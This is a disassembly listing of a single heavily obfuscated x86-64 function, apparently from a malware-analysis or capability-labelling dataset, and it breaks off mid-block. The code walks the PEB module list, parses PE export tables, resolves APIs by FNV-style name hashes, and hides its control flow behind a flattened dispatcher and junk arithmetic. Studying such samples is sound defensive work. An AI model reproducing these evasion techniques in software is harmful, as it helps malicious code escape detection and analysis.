Function at 0x140082fba
Capabilities:
Access peb ldr_data
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xb99aa34e
pushf
not eax
add eax, 0x3f1569c8
xor eax, 0x4372624a
rol eax, 0x87
popf
pushf
not eax
add eax, 0x6400c205
xor eax, 0x2953e779
rol eax, 0x17
popf
pushf
not eax
add eax, 0x6a21791
xor eax, 0x70f78a77
rol eax, 0x50
popf
pushf
not eax
add eax, 0x53ed24ac
xor eax, 0x414efa1a
rol eax, 0x3a
popf
cmp eax, 0x20
jne 0x14008301d
popf
pop rax
jmp 0x14008459f
cmp eax, 0xa
jne 0x14008302c
popf
pop rax
jmp 0x14008389f
cmp eax, 2
jne 0x14008303b
popf
pop rax
jmp 0x1400833c4
cmp eax, 0x1f
jne 0x14008304a
popf
pop rax
jmp 0x14008455d
cmp eax, 0xd
jne 0x140083059
popf
pop rax
jmp 0x1400839e3
cmp eax, 0x2b
jne 0x140083068
popf
pop rax
jmp 0x140084bae
cmp eax, 0x27
jne 0x140083077
popf
pop rax
jmp 0x1400849d8
cmp eax, 0x1d
jne 0x140083086
popf
pop rax
jmp 0x14008442c
cmp eax, 4
jne 0x140083095
popf
pop rax
jmp 0x140083508
cmp eax, 5
jne 0x1400830a4
popf
pop rax
jmp 0x14008355d
cmp eax, 0x28
jne 0x1400830b3
popf
pop rax
jmp 0x140084a41
cmp eax, 1
jne 0x1400830c2
popf
pop rax
jmp 0x140083360
cmp eax, 8
jne 0x1400830d1
popf
pop rax
jmp 0x140083775
cmp eax, 0x23
jne 0x1400830e0
popf
pop rax
jmp 0x1400847ef
cmp eax, 0
jne 0x1400830ef
popf
pop rax
jmp 0x1400832a2
cmp eax, 0x17
jne 0x1400830fe
popf
pop rax
jmp 0x14008411a
cmp eax, 0xb
jne 0x14008310d
popf
pop rax
jmp 0x140083910
cmp eax, 0x12
jne 0x14008311c
popf
pop rax
jmp 0x140083e19
cmp eax, 0x1e
jne 0x14008312b
popf
pop rax
jmp 0x1400844db
cmp eax, 0xe
jne 0x14008313a
popf
pop rax
jmp 0x140083c16
cmp eax, 0x2a
jne 0x140083149
popf
pop rax
jmp 0x140084b18
cmp eax, 0x24
jne 0x140083158
popf
pop rax
jmp 0x14008486d
cmp eax, 0x15
jne 0x140083167
popf
pop rax
jmp 0x140084029
cmp eax, 0x25
jne 0x140083176
popf
pop rax
jmp 0x140084904
cmp eax, 0x13
jne 0x140083185
popf
pop rax
jmp 0x140083f1a
cmp eax, 7
jne 0x140083194
popf
pop rax
jmp 0x1400836ab
cmp eax, 0x26
jne 0x1400831a3
popf
pop rax
jmp 0x140084988
cmp eax, 0x1c
jne 0x1400831b2
popf
pop rax
jmp 0x1400843c0
cmp eax, 0x10
jne 0x1400831c1
popf
pop rax
jmp 0x140083d1c
cmp eax, 0x18
jne 0x1400831d0
popf
pop rax
jmp 0x14008419e
cmp eax, 0x1a
jne 0x1400831df
popf
pop rax
jmp 0x140084271
cmp eax, 0x16
jne 0x1400831ee
popf
pop rax
jmp 0x14008409c
cmp eax, 0x29
jne 0x1400831fd
popf
pop rax
jmp 0x140084a95
cmp eax, 3
jne 0x14008320c
popf
pop rax
jmp 0x140083473
cmp eax, 0xc
jne 0x14008321b
popf
pop rax
jmp 0x1400839a7
cmp eax, 6
jne 0x14008322a
popf
pop rax
jmp 0x140083651
cmp eax, 0x11
jne 0x140083239
popf
pop rax
jmp 0x140083dd7
cmp eax, 0x21
jne 0x140083248
popf
pop rax
jmp 0x140084688
cmp eax, 0x19
jne 0x140083257
popf
pop rax
jmp 0x140084235
cmp eax, 0x1b
jne 0x140083266
popf
pop rax
jmp 0x140084324
cmp eax, 0xf
jne 0x140083275
popf
pop rax
jmp 0x140083c80
cmp eax, 9
jne 0x140083284
popf
pop rax
jmp 0x1400837e8
cmp eax, 0x22
jne 0x140083293
popf
pop rax
jmp 0x140084756
cmp eax, 0x14
jne 0x1400832a2
popf
pop rax
jmp 0x140083f61
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140042120]
mov r13, rdx
mov r12, rcx
test rax, rax
jne 0x14008332d
push rax
pushf
mov eax, 0xf62d8f74
pushf
not eax
add eax, 0x3f71fa8e
xor eax, 0x4be2bc17
rol eax, 0x53
popf
pushf
not eax
add eax, 0x13a1fee3
xor eax, 0x38bbadd6
rol eax, 0xda
popf
pushf
not eax
add eax, 0x42a06191
xor eax, 0x47e67d74
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x64a37dc8
xor eax, 0xbabd39f
rol eax, 0x15
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x7c77647f
pushf
not eax
add eax, 0x488f97c0
xor eax, 0x4968a45e
rol eax, 0xec
popf
pushf
not eax
add eax, 0x5810820b
xor eax, 0x269e99b3
rol eax, 0x25
popf
jmp 0x14008300e
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
nop dword [rax]
push rax
pushf
mov eax, 0x2059e301
pushf
not eax
add eax, 0x7af4e98b
xor eax, 0x3781c4cc
rol eax, 0x93
popf
pushf
not eax
add eax, 0x286a0c44
xor eax, 0x3fc3b4a2
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x5f83fa89
xor eax, 0xe9b3c0f
rol eax, 0xe9
popf
jmp 0x14008300e
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x14008342d
push rax
pushf
mov eax, 0x34354e17
pushf
not eax
add eax, 0x71833410
xor eax, 0x1617eed6
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x22572d6a
xor eax, 0x40525ef7
rol eax, 0x96
popf
pushf
not eax
add eax, 0x75b587d9
xor eax, 0x2c63c9ba
rol eax, 0x51
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x228de11
pushf
not eax
add eax, 0x4f4f2c2a
xor eax, 0x2369712c
rol eax, 0x85
popf
pushf
not eax
add eax, 0x19ea5069
xor eax, 0x270afd9f
rol eax, 0x37
popf
pushf
not eax
add eax, 0x2c340954
xor eax, 0x9f88789
rol eax, 0xfa
popf
jmp 0x14008300e
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x1400834c2
push rax
pushf
mov eax, 0x83975efc
pushf
not eax
add eax, 0x68bb4ecd
xor eax, 0xa1b9852
rol eax, 0x48
popf
pushf
not eax
add eax, 0x4ae41517
xor eax, 0x76b9dd21
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x3e581097
xor eax, 0xbed691b
rol eax, 0xbf
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0xcfdb0d1a
pushf
not eax
add eax, 0x3127710a
xor eax, 0x6b671c0e
rol eax, 0x74
popf
pushf
not eax
add eax, 0x1708efad
xor eax, 0x1f4a1bf9
rol eax, 0x58
popf
pushf
not eax
add eax, 0x41df4b86
xor eax, 0x35d6d92e
rol eax, 0x33
popf
jmp 0x14008300e
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x6cfc28e1
pushf
not eax
add eax, 0x3925fff0
xor eax, 0x1a0586bc
rol eax, 0x58
popf
pushf
not eax
add eax, 0x1c122a9d
xor eax, 0x461f3a5c
rol eax, 0x82
popf
pushf
not eax
add eax, 0x3be87dda
xor eax, 0x7f556d2d
rol eax, 0x7c
popf
jmp 0x14008300e
dec r10d
mov r9d, 0x25fca0e0
pushf
not r9d
add r9d, 0x6ec7980f
xor r9d, 0x5dfed44a
rol r9d, 0x3f
popf
pushf
not r9d
add r9d, 0x5955e8f8
xor r9d, 0x6c8efe4b
rol r9d, 0xd1
popf
pushf
not r9d
add r9d, 0x19f39af7
xor r9d, 0x7a7a23d7
rol r9d, 0xc6
popf
pushf
not r9d
add r9d, 0x9faae4c
xor r9d, 0x362991f9
rol r9d, 0xc1
popf
lea rax, [r14 + r10*4]
mov r8d, dword [rax + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14008361e
push rax
pushf
mov eax, 0x864b0a89
pushf
not eax
add eax, 0x6c606173
xor eax, 0x2209756c
rol eax, 0x22
popf
pushf
not eax
add eax, 0x25984e2c
xor eax, 0x14a7c014
rol eax, 0xa
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x4b65fd50
pushf
not eax
add eax, 0x6a530a17
xor eax, 0x4964e774
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x1f8cb4f2
xor eax, 0x2e4f76a7
rol eax, 0x35
popf
jmp 0x14008300e
nop
push rax
pushf
mov eax, 0x3c0dec35
pushf
not eax
add eax, 0x3219a87f
xor eax, 0x5bebaf86
rol eax, 0x93
popf
pushf
not eax
add eax, 0x7ad47755
xor eax, 0x7719f6a6
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x2747d0e6
xor eax, 0x6aea33d6
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x6f314938
xor eax, 0x2c431b69
rol eax, 0xff
popf
jmp 0x14008300e
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140083742
push rax
pushf
mov eax, 0x94a05a2c
pushf
not eax
add eax, 0x62cbca07
xor eax, 0x1d4dd4fc
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x1be777cb
xor eax, 0x174c7b2e
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x4587a9f9
xor eax, 0x35df6c7a
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x23ac2829
xor eax, 0x97eb6a3
rol eax, 0x9c
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0xd88671ab
pushf
not eax
add eax, 0x43a9d103
xor eax, 0x5e8521ec
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x5912f30a
xor eax, 0x62a7a60f
rol eax, 0xc1
popf
jmp 0x14008300e
cmp r9d, 0x22970eed
je 0x1400837b5
push rax
pushf
mov eax, 0xf81366c
pushf
not eax
add eax, 0x500c32b4
xor eax, 0x3a231ab9
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x4f9415d8
xor eax, 0x55396e3c
rol eax, 0xec
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0xfd45090d
pushf
not eax
add eax, 0x5e37f4e6
xor eax, 0x15a89303
rol eax, 0x16
popf
pushf
not eax
add eax, 0x649a6066
xor eax, 0x2cf509c7
rol eax, 0xad
popf
jmp 0x14008300e
test r10d, r10d
jne 0x140083846
push rax
pushf
mov eax, 0xfa763a1c
pushf
not eax
add eax, 0xe633772
xor eax, 0x11fdbcb1
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x21034243
xor eax, 0x62dc3aec
rol eax, 0x98
popf
pushf
not eax
add eax, 0x2ca4eae2
xor eax, 0x1540b892
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x46e4d0e7
xor eax, 0x190a562f
rol eax, 0xdc
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x41785ab6
pushf
not eax
add eax, 0x328193e4
xor eax, 0x6644269c
rol eax, 0x25
popf
pushf
not eax
add eax, 0x203ada13
xor eax, 0x1f36012c
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x4509aaae
xor eax, 0x7e0087fd
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x7464d98e
xor eax, 0x49149f04
rol eax, 0x52
popf
jmp 0x14008300e
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x1400838dd
push rax
pushf
mov eax, 0x8b967fd5
pushf
not eax
add eax, 0x50d80442
xor eax, 0x56f77ffb
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x74bec3f0
xor eax, 0xacc4d10
rol eax, 8
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x2bb57b40
pushf
not eax
add eax, 0x5c86bf99
xor eax, 0x792af7cf
rol eax, 0xae
popf
pushf
not eax
add eax, 0x40a337e1
xor eax, 0x33bd6562
rol eax, 0x25
popf
jmp 0x14008300e
cmp qword [rax + 0x30], 0
jne 0x14008394e
push rax
pushf
mov eax, 0x3e77016a
pushf
not eax
add eax, 0x3508ca93
xor eax, 0x3d00d1
rol eax, 0
popf
pushf
not eax
add eax, 0x1529e839
xor eax, 0x67d1e3f
rol eax, 0xe7
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0xdd9165b6
pushf
not eax
add eax, 0x55028113
xor eax, 0x4a80a34a
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x4bb6bdbb
xor eax, 0xe190dd2
rol eax, 0x57
popf
pushf
not eax
add eax, 0x2b1d8c17
xor eax, 0x6a4a2d5a
rol eax, 0x53
popf
pushf
not eax
add eax, 0x2ae308c4
xor eax, 0x7a0a0bde
rol eax, 0x4a
popf
jmp 0x14008300e
xor eax, eax
mov qword [0x140042120], rax
push rax
pushf
mov eax, 0x16044385
pushf
not eax
add eax, 0x58482e77
xor eax, 0xdd414be
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x27a9318f
xor eax, 0x1d59e1f7
rol eax, 0x86
popf
jmp 0x14008300e
movabs rcx, 0x4119ee3c2ee5e942
pushf
not rcx
add rcx, 0x600818f5
xor rcx, 0x78cf876
rol rcx, 0x3b
popf
pushf
not rcx
add rcx, 0x5c741c05
xor rcx, 0x7ef55a47
rol rcx, 0xbd
popf
movabs rsi, 0xe30271d36f433762
pushf
not rsi
add rsi, 0x7177f9ba
xor rsi, 0x379eaa49
rol rsi, 0xfb
popf
pushf
not rsi
add rsi, 0x603420f4
xor rsi, 0x3398ef7d
rol rsi, 0x70
popf
mov qword [rsp + 0x20], rcx
movabs rdi, 0xa26d3aeca52c3559
pushf
not rdi
add rdi, 0x5453ae4b
xor rdi, 0x5c4f59c9
rol rdi, 0xcd
popf
pushf
not rdi
add rdi, 0x26494af
xor rdi, 0x55d06d87
rol rdi, 0x23
popf
mov qword [rsp + 0x28], rsi
lea rcx, [rsp + 0x20]
movdqa xmm0, xmmword [rsp + 0x20]
movabs rbx, 0x74c0c5065d218f42
pushf
not rbx
add rbx, 0x560b74ca
xor rbx, 0x76426279
rol rbx, 0xeb
popf
pushf
not rbx
add rbx, 0x2a9f2b8e
xor rbx, 0xedba2cd
rol rbx, 0xd8
popf
pushf
not rbx
add rbx, 0x44bccdaa
xor rbx, 0x1ecc23da
rol rbx, 0xbb
popf
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x20], xmm0
jmp 0x140083b17
call rax
movabs rax, 0x888843ffa8d34d3b
pushf
not rax
add rax, 0x77d2a56b
xor rax, 0x1ed312b2
rol rax, 0x81
popf
pushf
not rax
add rax, 0x37a44d55
xor rax, 0x2867f3f0
rol rax, 0xac
popf
pushf
not rax
add rax, 0x6895021d
xor rax, 0x699773c8
rol rax, 0
popf
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x20]
mov rax, qword [0x140042118]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x20], xmm0
test rax, rax
jne 0x140083be3
push rax
pushf
mov eax, 0x70b6c332
pushf
not eax
add eax, 0x5d550c5a
xor eax, 0x754eccf5
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x56683fdf
xor eax, 0x211a6f51
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x6baa725
xor eax, 0x46ac02de
rol eax, 0x66
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x675f3423
pushf
not eax
add eax, 0x19251172
xor eax, 0x3805045f
rol eax, 0xea
popf
pushf
not eax
add eax, 0x7dfe734f
xor eax, 0x7a802d27
rol eax, 0x10
popf
jmp 0x14008300e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xcef687fb
pushf
not eax
add eax, 0x42c040d7
xor eax, 0x459b25d1
rol eax, 4
popf
pushf
not eax
add eax, 0xf704340
xor eax, 0x4249e964
rol eax, 0x24
popf
pushf
not eax
add eax, 0x26255b79
xor eax, 0x652b9be9
rol eax, 0xa2
popf
jmp 0x14008300e
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x140083ce9
push rax
pushf
mov eax, 0x646134a7
pushf
not eax
add eax, 0x7ea37694
xor eax, 0x41f6c6b1
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x23d45d42
xor eax, 0x60be49ef
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x6b19c7e9
xor eax, 0x552aef9b
rol eax, 0x99
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x3d167a2c
pushf
not eax
add eax, 0x4ec6b460
xor eax, 0x285d3532
rol eax, 0x43
popf
pushf
not eax
add eax, 0x66780be
xor eax, 0x36ff08a3
rol eax, 0x60
popf
jmp 0x14008300e
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x140083d7e
push rax
pushf
mov eax, 0xe9d5aed6
pushf
not eax
add eax, 0x2f1a3217
xor eax, 0x71ffd370
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x3c205928
xor eax, 0x2552ddd1
rol eax, 0x96
popf
pushf
not eax
add eax, 0x3f15daae
xor eax, 0x1db4d5aa
rol eax, 0x10
popf
pushf
not eax
add eax, 0x70a0aab4
xor eax, 0x69fd98f0
rol eax, 0xfe
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x5a710eff
pushf
not eax
add eax, 0x1f0251a
xor eax, 0x704e4f6f
rol eax, 0x51
popf
pushf
not eax
add eax, 0x7bfdf645
xor eax, 0x5f92791
rol eax, 0x18
popf
pushf
not eax
add eax, 0x17723f1b
xor eax, 0x2ac9651b
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x5fd49b0e
xor eax, 0x45798d65
rol eax, 0xa5
popf
jmp 0x14008300e
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0xd1a08280
pushf
not eax
add eax, 0x393401f1
xor eax, 0x6a38e659
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x649bb29b
xor eax, 0x18ae55d1
rol eax, 0x4a
popf
jmp 0x14008300e
dec r10d
mov r9d, 0xfde7b72f
pushf
not r9d
add r9d, 0x4f8f1e03
xor r9d, 0x3457356c
rol r9d, 0xc9
popf
pushf
not r9d
add r9d, 0x19a603d8
xor r9d, 0x41ad7bfd
rol r9d, 0x8b
popf
pushf
not r9d
add r9d, 0x7f98d3d6
xor r9d, 0x5560cc24
rol r9d, 0x7b
popf
lea rax, [r14 + r10*4]
mov r8d, dword [rax + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
movzx eax, byte [r8]
inc r8
test al, al
je 0x140083ec1
push rax
pushf
mov eax, 0x48a9497e
pushf
not eax
add eax, 0xb711726
xor eax, 0x30d0eaf2
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x2e4908d2
xor eax, 0x3539b527
rol eax, 0x92
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x95145e18
pushf
not eax
add eax, 0xcda1e5d
xor eax, 0x324afae5
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x24c31cd3
xor eax, 0x2e44164f
rol eax, 0x46
popf
pushf
not eax
add eax, 0x3da156fe
xor eax, 0x43ddfd0c
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x408ff72c
xor eax, 0x5da3f0ad
rol eax, 0xc7
popf
jmp 0x14008300e
nop
push rax
pushf
mov eax, 0x48dd02cf
pushf
not eax
add eax, 0x4cc1ee6f
xor eax, 0x4762cff0
rol eax, 0x58
popf
pushf
not eax
add eax, 0x5b7a2c73
xor eax, 0x41168123
rol eax, 0x66
popf
pushf
not eax
add eax, 0x534af8df
xor eax, 0xa8b1d73
rol eax, 0xb1
popf
jmp 0x14008300e
movsx ecx, al
lea r8, [r8 + 1]
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
movzx eax, byte [r8 - 1]
cmova edx, ecx
push rdx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and edx, r9d
pop r9
or edx, dword [rsp]
add rsp, 8
imul r9d, edx, 0x1000193
test al, al
jne 0x140083ff6
push rax
pushf
mov eax, 0x5547a8c
pushf
not eax
add eax, 0x7d089cf6
xor eax, 0x518f8b6a
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x5251e371
xor eax, 0x71afeda
rol eax, 0x17
popf
pushf
not eax
add eax, 0x5c5bc39b
xor eax, 0xd428a41
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x21afbae8
xor eax, 0x59fc1804
rol eax, 0x50
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x4363c1d6
pushf
not eax
add eax, 0x58687a02
xor eax, 0x20229174
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x1b76c39f
xor eax, 0x4e7d3947
rol eax, 0x4e
popf
jmp 0x14008300e
cmp r9d, 0xced637eb
je 0x140084069
push rax
pushf
mov eax, 0x95da8b1b
pushf
not eax
add eax, 0x74eebb7a
xor eax, 0x18d17d3
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x69f2f214
xor eax, 0x37a3d3d6
rol eax, 0x7a
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0xc1a4a0e6
pushf
not eax
add eax, 0x985aae5
xor eax, 0x7d12a3bd
rol eax, 0x37
popf
pushf
not eax
add eax, 0x2653ae62
xor eax, 0x616348c
rol eax, 0xac
popf
jmp 0x14008300e
test r10d, r10d
jne 0x1400840e7
push rax
pushf
mov eax, 0xb68bba99
pushf
not eax
add eax, 0x23ab509c
xor eax, 0x28b4acdc
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x3074ac46
xor eax, 0x697f3bf
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x74953fcc
xor eax, 0x2ad96561
rol eax, 0xa5
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x88031a41
pushf
not eax
add eax, 0x38aa82d4
xor eax, 0x26b1dcb9
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x7607ee40
xor eax, 0x334e8e94
rol eax, 0xdb
popf
jmp 0x14008300e
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x140084158
push rax
pushf
mov eax, 0x5cabfa64
pushf
not eax
add eax, 0x7afb261b
xor eax, 0x753150af
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x7bf56d68
xor eax, 0x62e9eeec
rol eax, 0xce
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0xbf613db2
pushf
not eax
add eax, 0x608ccd0b
xor eax, 0x7fbcf1c8
rol eax, 0x64
popf
pushf
not eax
add eax, 0x2a68370d
xor eax, 0x73dd00d1
rol eax, 0x96
popf
pushf
not eax
add eax, 0x7f60cc75
xor eax, 0x33d88121
rol eax, 0xf1
popf
jmp 0x14008300e
cmp qword [rax + 0x30], 0
jne 0x1400841ef
push rax
pushf
mov eax, 0x35ed805c
pushf
not eax
add eax, 0x166b16e
xor eax, 0x2549d3f4
rol eax, 0x79
popf
pushf
not eax
add eax, 0x10daf0da
xor eax, 0x1f7f013
rol eax, 0x55
popf
pushf
not eax
add eax, 0x5e5074fa
xor eax, 0x7d67d0ea
rol eax, 0x9b
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x5e9e225c
pushf
not eax
add eax, 0x51e24534
xor eax, 0x20652fcb
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x173b0ebb
xor eax, 0x5425ba41
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x6fc479bb
xor eax, 0x691fe673
rol eax, 0x23
popf
jmp 0x14008300e
xor eax, eax
mov qword [0x140042118], rax
push rax
pushf
mov eax, 0x54005e91
pushf
not eax
add eax, 0x128d8c13
xor eax, 0x64262586
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x3530f42d
xor eax, 0x2fdb7029
rol eax, 0xa6
popf
jmp 0x14008300e
lea rcx, [rsp + 0x20]
jmp 0x140084277
call rax
mov r15, rax
test rax, rax
je 0x1400842de
push rax
pushf
mov eax, 0x15112cf2
pushf
not eax
add eax, 0x35aec0fc
xor eax, 0x18af961b
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x788b614e
xor eax, 0x6727ae10
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x47b922f8
xor eax, 0x4df5b372
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x6064b9ab
xor eax, 0x517bb1a4
rol eax, 8
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0xa3d38e82
pushf
not eax
add eax, 0x6c5f2e22
xor eax, 0x7c3a9f88
rol eax, 0x15
popf
pushf
not eax
add eax, 0x7ff11391
xor eax, 0x1d42c4da
rol eax, 0x24
popf
pushf
not eax
add eax, 0x36241b74
xor eax, 0x1a98809d
rol eax, 0x5f
popf
jmp 0x14008300e
mov r8, qword [0x140042128]
test r8, r8
jne 0x14008438d
push rax
pushf
mov eax, 0x99b47132
pushf
not eax
add eax, 0x6722fbc0
xor eax, 0x15dfb823
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x2a20b3f2
xor eax, 0x4dee51a6
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x61a8c8b1
xor eax, 0x1f01cfcf
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x79ae8258
xor eax, 0x2d3857dd
rol eax, 0xd9
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x49c00723
pushf
not eax
add eax, 0x7a145398
xor eax, 0x786bc552
rol eax, 0xa
popf
pushf
not eax
add eax, 0x108c67e4
xor eax, 0x2a67cec2
rol eax, 0x25
popf
jmp 0x14008300e
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbp, qword [rcx]
mov rsi, rbp
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xc2cd2ec
pushf
not eax
add eax, 0x186c5f44
xor eax, 0x1f3b840d
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x1ae37ee5
xor eax, 0x7438b77a
rol eax, 0x13
popf
pushf
not eax
add eax, 0x34abcfdf
xor eax, 0x23e8cf68
rol eax, 0xd6
popf
jmp 0x14008300e
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x140084495
push rax
pushf
mov eax, 0xea649f59
pushf
not eax
add eax, 0x67f0ad6b
xor eax, 0x1aa59682
rol eax, 0xba
popf
pushf
not eax
add eax, 0xb204a48
xor eax, 0x6b7efa59
rol eax, 0x78
popf
pushf
not eax
add eax, 0x33c7cc2b
xor eax, 0x76f0d0d1
rol eax, 0xf8
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x4c5e9ff5
pushf
not eax
add eax, 0x28e216df
xor eax, 0x5aa6f88c
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x638cec12
xor eax, 0x3a20c6d6
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x234406a5
xor eax, 0x590393c9
rol eax, 0xda
popf
jmp 0x14008300e
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14008452a
push rax
pushf
mov eax, 0x735e1486
pushf
not eax
add eax, 0x39d98d9b
xor eax, 0x4228f2e3
rol eax, 0x29
popf
pushf
not eax
add eax, 0x23a2f6c4
xor eax, 0x15b0f52a
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x1bbfec86
xor eax, 0x49570763
rol eax, 0x10
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x49c2a5c0
pushf
not eax
add eax, 0x215369cb
xor eax, 0x7529da85
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x22d83330
xor eax, 0x28aca307
rol eax, 0x1c
popf
jmp 0x14008300e
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x90ed2238
pushf
not eax
add eax, 0x57e042ef
xor eax, 0x5126eda
rol eax, 0x34
popf
pushf
not eax
add eax, 0xa7c1b0
xor eax, 0x19db829b
rol eax, 0x1d
popf
jmp 0x14008300e
dec r10d
mov r9d, 0x8f5f4267
pushf
not r9d
add r9d, 0x265066b7
xor r9d, 0x6fac1a0f
rol r9d, 0xdb
popf
pushf
not r9d
add r9d, 0x27399b6d
xor r9d, 0x4d8f185a
rol r9d, 0xfa
popf
lea rax, [r14 + r10*4]
mov edx, dword [rax + r11]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x14008462f
push rax
pushf
mov eax, 0xcfccf78f
pushf
not eax
add eax, 0x45a7dea6
xor eax, 0x343e01c6
rol eax, 0x78
popf
pushf
not eax
add eax, 0x349579f3
xor eax, 0x6453d70c
rol eax, 0x17
popf
jmp 0x14008300e
push rax
pushf
mov eax, 0x7ff9dce1
pushf
not eax
